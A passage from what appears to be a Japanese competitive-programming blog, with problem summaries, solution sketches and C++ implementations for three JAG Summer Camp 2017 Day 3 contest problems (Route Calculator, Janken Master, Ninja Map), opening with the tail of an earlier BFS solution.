        que.pop();
        for (int j : g[i]) if (dist[j] == numeric_limits<int>::max()) {
            dist[j] = dist[i] + 1;
            que.push(j);
        }
    }
    return dist;
}

int main() {
    int n, m; scanf("%d%d", &n, &m);
    vector<vector<int> > g(2 * n);
    repeat (i, m) {
        int u, v; scanf("%d%d", &u, &v); -- u; -- v;
        g[u].push_back(v + n);
        g[v + n].push_back(u);
        g[v].push_back(u + n);
        g[u + n].push_back(v);
    }
    vector<int> dist = breadth_first_search(0, g);
    int a = *max_element(dist.begin(), dist.begin() + n);
    int b = *max_element(dist.begin() + n, dist.end());
    int result = min(a, b);
    if (result == numeric_limits<int>::max()) result = -1;
    printf("%d\n", result);
    return 0;
}

Japan Alumni Group Summer Camp 2017 Day 3: E - Route Calculator

,

http://jag2017summer-day3.contest.atcoder.jp/tasks/jag2017summer_day3_e

チームメンバーに任せた(私のlaptopの電源が切れたので)が、バグったので私が$0$から書き直した。 私$\to$彼と私$\gets$彼のどちらの向きでも、大きめのコードをバグらせたら交代して$0$からが良いと踏んでいるがどうなのだろうか。

problem

下図のような文字列が与えられる。左上から右下への経路で、それを数式として読んだとき最大になるようなものの値を答えよ。

8+9*4*8
*5*2+3+
1*3*2*2
*5*1+9+
1+2*2*2
*3*6*2*
7*7+6*5
*5+7*2+
3+3*6+8

solution

*, +を辺と見てそれぞれだけでグラフ$G_\times, G_+$を作る。 この上でDP。 頂点$(y, x)$から$G_\times$の辺を任意回使って到達可能な頂点から$G_+$の辺をちょうど$1$本使っていける頂点の値を見ていい感じにする。 右下まで直接行ける場合は例外。 $O(H^2W^2)$。

implementation

#include <cctype>
#include <cmath>
#include <cstdio>
#include <queue>
#include <vector>
#define repeat(i, n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_reverse(i, n) for (int i = (n)-1; (i) >= 0; --(i))
using ll = long long;
using namespace std;
template <class T> inline void setmax(T & a, T const & b) { a = max(a, b); }

int main() {
    // input
    int h, w; scanf("%d%d", &h, &w);
    vector<char> f(h * w);
    repeat (y, h) repeat (x, w) {
        scanf(" %c", &f[y * w + x]);
    }

    // solve
    // // make graphs
    vector<vector<int> > mul(h * w);
    vector<vector<int> > add(h * w);
    repeat (y, h) repeat (x, w) if (isdigit(f[y * w + x])) {
        int z = y * w + x;
        if (y + 1 < h) {
            auto & g = (f[(y + 1) * w + x] == '*' ? mul : add);
            if (y + 2 < h) g[z].push_back((y + 2) * w + x);
            if (x + 1 < w) g[z].push_back((y + 1) * w + (x + 1));
        }
        if (x + 1 < w) {
            auto & g = (f[y * w + (x + 1)] == '*' ? mul : add);
            if (x + 2 < w) g[z].push_back(y * w + (x + 2));
            if (y + 1 < h) g[z].push_back((y + 1) * w + (x + 1));
        }
    }
    // // dp
    vector<double> dp(h * w);
    vector<double> muls(h * w);
    queue<int> que;
    repeat_reverse (y, h) repeat_reverse (x, w) if (isdigit(f[y * w + x])) {
        int z = y * w + x;
        muls.assign(h * w, - INFINITY);
        muls[z] = f[z] - '0';
        que.push(z);
        while (not que.empty()) {
            int z = que.front();  // shadowing
            que.pop();
            for (int nz : mul[z]) {
                if (isinf(muls[nz])) {
                    que.push(nz);
                }
                setmax(muls[nz], muls[z] * (f[nz] - '0'));
            }
        }
        repeat (nz, h * w) if (not isinf(muls[nz])) {
            for (int nnz : add[nz]) {
                setmax(dp[z], muls[nz] + dp[nnz]);
            }
        }
        setmax(dp[z], muls[h * w - 1]);
    }

    // output
    if (dp[0] <= 1e16 and ll(dp[0]) <= 1000000000000000ll) {
        printf("%lld\n", ll(dp[0]));
    } else {
        printf("-1\n");
    }
    return 0;
}

Japan Alumni Group Summer Camp 2017 Day 3: D - Janken Master

,

http://jag2017summer-day3.contest.atcoder.jp/tasks/jag2017summer_day3_d

AtCoderのレートが高いとじゃんけんで有利であるのは有名事実ですが、斜め読みしてる英文中に出てくると混乱するのでやめてほしい。

problem

$N$人でじゃんけんをする。自分以外の人はあらかじめ決められた確率に従い手を得らぶ。 引き分けならレートが最も高い人が勝ち。

solution

bit DP。$O(N3^N)$。$t \subseteq s \subseteq n = \{ 0, 1, \dots, n - 1 \}$な対$(t, s)$は$3^n$個存在する。 引き分けの確率は勝ちも負けもしない確率として$1$からの引き算で求めると楽。

implementation

#include <array>
#include <cstdio>
#include <vector>
#define repeat(i, n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_from(i, m, n) for (int i = (m); (i) < int(n); ++(i))
using namespace std;
template <class T> inline void setmax(T & a, T const & b) { a = max(a, b); }

int main() {
    // input
    int n; scanf("%d", &n);
    int a0; scanf("%d", &a0);
    vector<int> a(n - 1);
    vector<array<double, 3> > p(n - 1);
    repeat (i, n - 1) {
        scanf("%d", &a[i]);
        repeat (hand, 3) {
            int q; scanf("%d", &q);
            p[i][hand] = q / 100.0;
        }
    }

    // solve
    vector<double> dp(1 << (n - 1));
    dp[0] = 1.0;
    repeat_from (s, 1, 1 << (n - 1)) {
        repeat (hand, 3) {
            double acc = 0;
            double q_win  = 0;
            double q_lose = 0;
            for (int t = 0; ; t = (t - s) & s) {  // t \subseteq s, t \ne s
                if (t == s) break;
                { // win
                    double q = 1.0;
                    repeat (i, n - 1) {
                        if (t & (1 << i)) {
                            q *= p[i][hand];
                        } else if (s & (1 << i)) {
                            q *= p[i][(hand + 2) % 3];
                        }
                    }
                    q_win += q;
                    acc += q * dp[t];
                }
                { // lose
                    double q = 1.0;
                    repeat (i, n - 1) {
                        if (t & (1 << i)) {
                            q *= p[i][hand];
                        } else if (s & (1 << i)) {
                            q *= p[i][(hand + 1) % 3];
                        }
                    }
                    q_lose += q;
                }
            }
            double q_draw = 1.0 - q_win - q_lose;
            int max_a = 0;
            repeat (i, n - 1) {
                if (s & (1 << i)) {
                    setmax(max_a, a[i]);
                }
            }
            if (max_a < a0) {
                acc += q_draw;
            }
            setmax(dp[s], acc);
        }
    }

    // output
    printf("%.8lf\n", dp[(1 << (n - 1)) - 1]);
    return 0;
}

Japan Alumni Group Summer Camp 2017 Day 3: C - Ninja Map

,

http://jag2017summer-day3.contest.atcoder.jp/tasks/jag2017summer_day3_c

これもバグらせた。それでも私が全部実装する方が速いと思うがやはり不安定。本番こけたらごめんなさいという気持ち。

problem

$N \times N$の格子がある。 頂点番号はshuffleされている。 その$2N^2 - 2N$個の接続関係が全て与えられるので、そのようなものをひとつ構築せよ。

solution

次数が$2$のものをひとつ選んで左上に置き、その隣をひとつ決めれば、後は次数や接続関係が整合するように一意に定まる。 $O(N^2)$。

implementation

#include <algorithm>
#include <cassert>
#include <cstdio>
#include <vector>
#define repeat(i, n) for (int i = 0; (i) < int(n); ++(i))
#define whole(x) begin(x), end(x)
using namespace std;
template <typename X, typename T> auto vectors(X x, T a) { return vector<T>(x, a); }
template <typename X, typename Y, typename Z, typename... Zs> auto vectors(X x, Y y, Z z, Zs... zs) { auto cont = vectors(y, z, zs...); return vector<decltype(cont)>(x, cont); }
const int dy[] = { -1, 1, 0, 0 };
const int dx[] = { 0, 0, 1, -1 };
bool is_on_field(int y, int x, int h, int w) { return 0 <= y and y < h and 0 <= x and x < w; }

int main() {
    // input
    int n; scanf("%d", &n);
    vector<vector<int> > g(n * n);
    repeat (i, 2 * n * (n - 1)) {
        int a, b; scanf("%d%d", &a, &b); -- a; -- b;
        g[a].push_back(b);
        g[b].push_back(a);
    }

    // solve
    auto f = vectors(n, n, -1);
    vector<bool> used(n * n);
    auto use = [&](int y, int x, int i) {
        assert (not used[i]);
        f[y][x] = i;
        used[i] = true;
    };
    repeat (i, n * n) {
        if (g[i].size() == 2) {
            use(0, 0, i);
            break;
        }
    }
    auto touch = [&](int py, int px, int y, int x, int degree) {
        int i = f[py][px];
        for (int j : g[i]) if (not used[j] and g[j].size() == degree) {
            bool valid = true;
            repeat (k, 4) {
                int ny = y + dy[k];
                int nx = x + dx[k];
                if (not is_on_field(ny, nx, n, n)) continue;
                if (f[ny][nx] == -1) continue;
                if (not count(whole(g[j]), f[ny][nx])) {
                    valid = false;
                    break;
                }
            }
            if (valid) {
                use(y, x, j);
                return;
            }
        }
        assert (false);
    };
    repeat (y, n) {
        repeat (x, n - 1) {
            int degree = 4 - (y == 0 or y == n - 1) - (x + 1 == n - 1);
            touch(y, x, y, x + 1, degree);
        }
        if (y + 1 < n) {
            int degree = 3 - (y + 1 == n - 1);
            touch(y, 0, y + 1, 0, degree);
        }
    }

    // output
    repeat (y, n) {
        repeat (x, n) {
            printf("%d%c", f[y][x] + 1, x < n - 1 ? ' ' : '\n');
        }
    }
    return 0;
}